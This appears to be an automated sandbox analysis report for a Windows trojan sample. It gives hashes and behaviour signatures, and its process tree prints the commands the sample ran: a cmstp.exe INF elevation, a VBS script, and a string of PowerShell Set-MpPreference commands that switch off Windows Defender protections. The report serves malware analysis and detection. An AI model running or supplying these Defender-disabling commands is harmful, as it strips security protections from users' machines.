Overview

overview

10

Static

static

10

qGHJqiji.bin.exe

windows7_x64

10

qGHJqiji.bin.exe

windows10_x64

10

Resubmissions

24/02/2022, 22:11

220224-131k2sfaej 10

07/01/2021, 07:12

210107-27q11jvw52 10

Analysis

  • max time kernel
    93s
  • max time network
    95s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    07/01/2021, 07:12

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    qGHJqiji.bin.exe

  • Size

    9KB

  • MD5

    1c0d1af30fc12cb964335c0a20ffeedd

  • SHA1

    20669e2263e4939732a938e1bfa2f770e0f45aa4

  • SHA256

    5081ca4672184aaa9e4afa22aec015b79038fcca7d7f8c0650727c541c3d884b

  • SHA512

    b0541379baca8fc491b6027958b71672de886f13713f0704201d53b140b198f750c90c953ceeed221942cfe792e39fa22684aa0dd064f2aac719da193c5213d0

Score
10/10
evasiontrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Drops file in System32 directory 11 IoCs
  • Kills process with taskkill 1 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 8144 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\qGHJqiji.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\qGHJqiji.bin.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:792
    • \??\c:\windows\system32\cmstp.exe
      "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\0se4dedp.inf
      2⤵
        PID:1988
    • C:\Windows\system32\cmd.exe
      cmd /c start C:\Windows\temp\muqdtgmx.vbs
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1232
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Windows\temp\muqdtgmx.vbs"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:316
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Windows\temp\muqdtgmx.vbs" /elevate
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:280
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
            4⤵
            • Drops file in System32 directory
            • Suspicious use of AdjustPrivilegeToken
            PID:1588
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
            4⤵
            • Drops file in System32 directory
            • Suspicious use of AdjustPrivilegeToken
            PID:340
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBehaviorMonitoring $true
            4⤵
            • Drops file in System32 directory
            • Suspicious use of AdjustPrivilegeToken
            PID:936
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
            4⤵
            • Drops file in System32 directory
            • Suspicious use of AdjustPrivilegeToken
            PID:1540
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
            4⤵
            • Drops file in System32 directory
            • Suspicious use of AdjustPrivilegeToken
            PID:1708
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
            4⤵
            • Drops file in System32 directory
            • Suspicious use of AdjustPrivilegeToken
            PID:1608
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
            4⤵
            • Drops file in System32 directory
            • Suspicious use of AdjustPrivilegeToken
            PID:1244
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
            4⤵
            • Drops file in System32 directory
            • Suspicious use of AdjustPrivilegeToken
            PID:1060
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
            4⤵
            • Drops file in System32 directory
            • Suspicious use of AdjustPrivilegeToken
            PID:1876
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
            4⤵
            • Drops file in System32 directory
            • Suspicious use of AdjustPrivilegeToken
            PID:1304
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
            4⤵
            • Drops file in System32 directory
            • Suspicious use of AdjustPrivilegeToken
            PID:2136
    • C:\Windows\system32\taskkill.exe
      taskkill /IM cmstp.exe /F
      1⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1460

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/280-65-0x0000000002620000-0x0000000002624000-memory.dmp

      Filesize

      16KB

      Download

    • memory/316-21-0x0000000002520000-0x0000000002524000-memory.dmp

      Filesize

      16KB

      Download

    • memory/340-30-0x000007FEF4D50000-0x000007FEF573C000-memory.dmp

      Filesize

      9.9MB

      Download

    • memory/792-3-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/792-2-0x000007FEF59E0000-0x000007FEF63CC000-memory.dmp

      Filesize

      9.9MB

      Download

    • memory/936-32-0x000007FEF4D50000-0x000007FEF573C000-memory.dmp

      Filesize

      9.9MB

      Download

    • memory/1060-63-0x000007FEF4D50000-0x000007FEF573C000-memory.dmp

      Filesize

      9.9MB

      Download

    • memory/1244-58-0x000007FEF4D50000-0x000007FEF573C000-memory.dmp

      Filesize

      9.9MB

      Download

    • memory/1304-68-0x000007FEF4D50000-0x000007FEF573C000-memory.dmp

      Filesize

      9.9MB

      Download

    • memory/1540-47-0x000007FEF4D50000-0x000007FEF573C000-memory.dmp

      Filesize

      9.9MB

      Download

    • memory/1588-28-0x000007FEF4D50000-0x000007FEF573C000-memory.dmp

      Filesize

      9.9MB

      Download

    • memory/1588-38-0x000000001ACF0000-0x000000001ACF1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1588-33-0x0000000002490000-0x0000000002491000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1608-51-0x000007FEF4D50000-0x000007FEF573C000-memory.dmp

      Filesize

      9.9MB

      Download

    • memory/1708-114-0x00000000024C0000-0x00000000024C1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1708-115-0x0000000002760000-0x0000000002761000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1708-50-0x00000000023D0000-0x00000000023D1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1708-35-0x000007FEF4D50000-0x000007FEF573C000-memory.dmp

      Filesize

      9.9MB

      Download

    • memory/1708-87-0x0000000002330000-0x0000000002331000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1708-100-0x000000001AAD0000-0x000000001AAD1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1708-94-0x000000001AA00000-0x000000001AA01000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1876-69-0x000007FEF4D50000-0x000007FEF573C000-memory.dmp

      Filesize

      9.9MB

      Download

    • memory/2136-72-0x000007FEF4D50000-0x000007FEF573C000-memory.dmp

      Filesize

      9.9MB

      Download